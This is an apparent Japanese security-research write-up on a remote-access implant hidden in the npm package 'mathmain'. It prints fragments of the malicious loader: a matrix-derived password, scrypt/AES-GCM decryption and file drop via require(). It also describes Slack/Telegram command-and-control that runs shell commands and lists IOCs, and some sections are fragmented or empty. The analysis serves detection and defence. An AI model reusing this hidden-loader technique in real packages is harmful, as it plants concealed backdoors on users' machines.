npm パッケージ「mathmain」に潜伏するマルウェアインプラントの発覚

npm パッケージ**「mathmain」の内部で、リモートアクセス型のマルウェアインプラントが隠されていることが発見されました。この悪意のあるコードは暗号化されており、特定の数学的方程式を解くプログラムを実行するまで休眠状態にあります。この方程式こそがマルウェアを発火させるトリガー（鍵）**です。

• 動作原理: トリガー条件を満たすと暗号化ペイロードが復号・実行され、攻撃者からのコマンドをブロックチェーンネットワークや公開チャットサービス経由で受け取り実行します。
• 調査対象: ローダーの発見経緯、復号化手法、ペイロードの実行内容、検出用示唆情報（IOCs）
• 調査開始日: 2026 年 9 月 17 日（SafeDep アナライシス開始）

発見経緯：ソルバー内の型チェックの呼び出し

当初は

mathjs

// ソルバー内の追加的なコール（発見箇所）
l && (q = removeSolveValidation(l._data));
return x;

• l

  : 下三角行列データ

• x

  : 計算結果（そのまま返却）

• q

  : 再利用されないが、ローダー起動に関与する変数

このコールを追跡すると**

lib/cjs/utils/is.js

isGraph()

// ローダー起動用の復元コード
const STAGE1_BLOB = 'IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==';

function isGraph(x) {
    const password = JSON.stringify(x); // 入力データをパスワードに変換
    const name = validEvent(STAGE1_BLOB, password); // ファイル名復号化
    const target = path.join(__dirname, name);
    const mod = require(event(target, password)); // 暗号ファイルをロード
    return (x && mod.validGraph(password)) || false;
}

行列データがパスワードになる仕組み

ローダーはscryptとAES-256-GCMを使用してデータを復号化します。

復号化プロセス

1. キー生成:

   scrypt

   アルゴリズムでパスワードから 256 ビットのキーを生成。
2. データ復号: GCM モードの AES-256 で復号化（ソルト、IV、認証タグ付き）。

// 復号化ロジック
const key = crypto.scryptSync(password, salt, 32);
const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
return Buffer.concat([decipher.update(ciphertext), decipher.final()]);

パスワードの正体

暗号化データは固定構成（16 バイトソルト + 12 バイト IV + 16 バイトタグ）を持ちます。呼び出し側が行列

L

// パスワード生成例（mathmain@1.0.2）
const A = [[1, 1, 1], [1, 2, 3], [1, 3, 6]]; // パスカルの行列
const L = lup(A).L.valueOf(); // LU 分解による下三角因子
const password = JSON.stringify(L); 
// 結果: '[[1,0,0],[1,1,0],[1,0.5,1]]'

ローダーによるファイルの書き込みと実行

event()

// ファイル書き込みロジック
const plaintext = eventEmitter(file, password);
const dir = path.dirname(path.resolve(file));
const base = path.basename(file).replace(/^enc_/, ''); // 'enc_'接頭辞を除去
const outPath = path.join(dir, base);
fs.writeFileSync(outPath, plaintext);
return outPath;

書き込まれたファイル一覧

ローダーがディスク上に展開した主なファイルは以下の通りです。

• 権限:

  require()

  でロードされるため、Node.js プロセスと同じ高い権限で実行されます。
• トリガー条件: ソルバーの検証ステップを通過し、パスワード（行列

  L

  ）が正しく渡された場合のみ発動します。デフォルトバージョン (

  mathmain@1.0.2

  ) ではローダーが含まれていないため、注意が必要です。

類似パッケージにおける同様のマルウェア

調査の結果、以下のパッケージにも同一のローダー、トリガーコード、ソルバー変更が確認されました。

• GitHub リポジトリとの不一致:
  • GitHub ソースにはローダーが含まれていませんでした。
  • npm ビルド時にローダーが追加されており、パブリックなコードでの改ざんではない可能性が高いです。
• npm ダウンロードデータ:
  • 9 月 17 日は登録全体を通じてゼロのダウンロード数を報告しており、実際の感染数を正確に把握するのは困難です。

マルウェアの実行とコマンド・コントロール (C2)

ローダーが起動すると、以下のファイルが展開され、リモートアクセスインプラントとして機能します。

復号化されたペイロードの役割

• graph.js

  (ステージ 1):
  • X25519 キー対を生成し、スマートコントラクトを読み取ります。
  • Slack および Telegram ボットを通じて攻撃者に報告します。
  • 後続ファイル（

    bignumber/type.js

    ,

    fraction.js

    ）をロードします。

復号化された定数情報 (展開 A)

0xac0bfC4C48A679b667732128278EACBA1c191894

base-sepolia.infura.io/v3/...

base-sepolia.g.alchemy.com/v2/D2-TbkB2m05WXSnSDOCDIA

8961878831

コマンドエージェント (

fraction.js

) の動作

• 実行時に Slack ボットトークンとチャンネル ID を復号化。

• CHAT_PASSWORD

  環境変数が必要です（ない場合は終了）。
• 10 秒ごとにメッセージをポーリングし、操作者のコマンドを受信・実行（シェルコマンドとして）。

注意: パッケージは過去のコマンド履歴を保存せず、ライブで受信したコマンドのみを実行します。

調査タイムライン (UTC)

mathmain@1.0.1

mathmain@1.0.1

mathmain@1.0.2

mathmain@1.0.2

侵害の兆候 (Indicators of Compromise: IOCs)

以下のハッシュ値や情報を活用し、マルウェアを検出してください。一致が必ずしも実行を意味するわけではありません。ローダーはトリガー（特定の行列計算）が必要です。

悪意あるパッケージ (SHA-256 ハッシュ)

1723a0df210ac61281a504f3a07ec3605d20151631e0635cc344cacc71019135

03e13cdedd9c33e6fed25092b1ec7dcf11cc5962c0fbb6b3e90ba95bfec1b034

7e5e1bcdc6a7b0e3437269a236b49ef2be4f77081c7de5130d503c103fd6be69

bfe772e7ee044fd6f0bdf53e83f44aad7c9ee1925baf0cf4d884a312aa9ba50e

4eb1d59df7dc80dbe3ec154481e61e8824422037092c188f0cc146b543615a66

ローダーおよびトリガー情報

ab66c98e8ed5235feb963ec8845765f62f5f26b1c58c266c409767e53bcb5ccd

5d9e952c51875d2b897eedc22b002b94ab21c8004d513bc99ce3a885f8a01dae

[[1,1,1],[1,2,3],[1,3,6]]

[[1,0,0],[1,1,0],[1,0.5,1]]

復号化されたペイロードファイル (SHA-256 ハッシュ)

ローダーが実行されれば、ディスク上に以下のファイルを保持する可能性があります。

1e0f09c84aaf573627c003ce0f086517c3ea980cbea02f8ff918b1cc0d7e0bbbf

6fd655d7196880fc5783f9dbb62b428baf220c2781970be54044376330be7a

6b1ad71bc3765dd272ea2ac63c1ea6ed97091ba0067d0b3e2294e1b34177cb25

コマンド・コントロール (C2)

展開 A は mathmain/Universe、展開 B は

mathmain@1.0.1

0xac0bfC4C48A679b667732128278EACBA1c191894

0xE390863Dac96a7118C71227C2b099B50cF602D31

D2-TbkB2m05WXSnSDOCDIA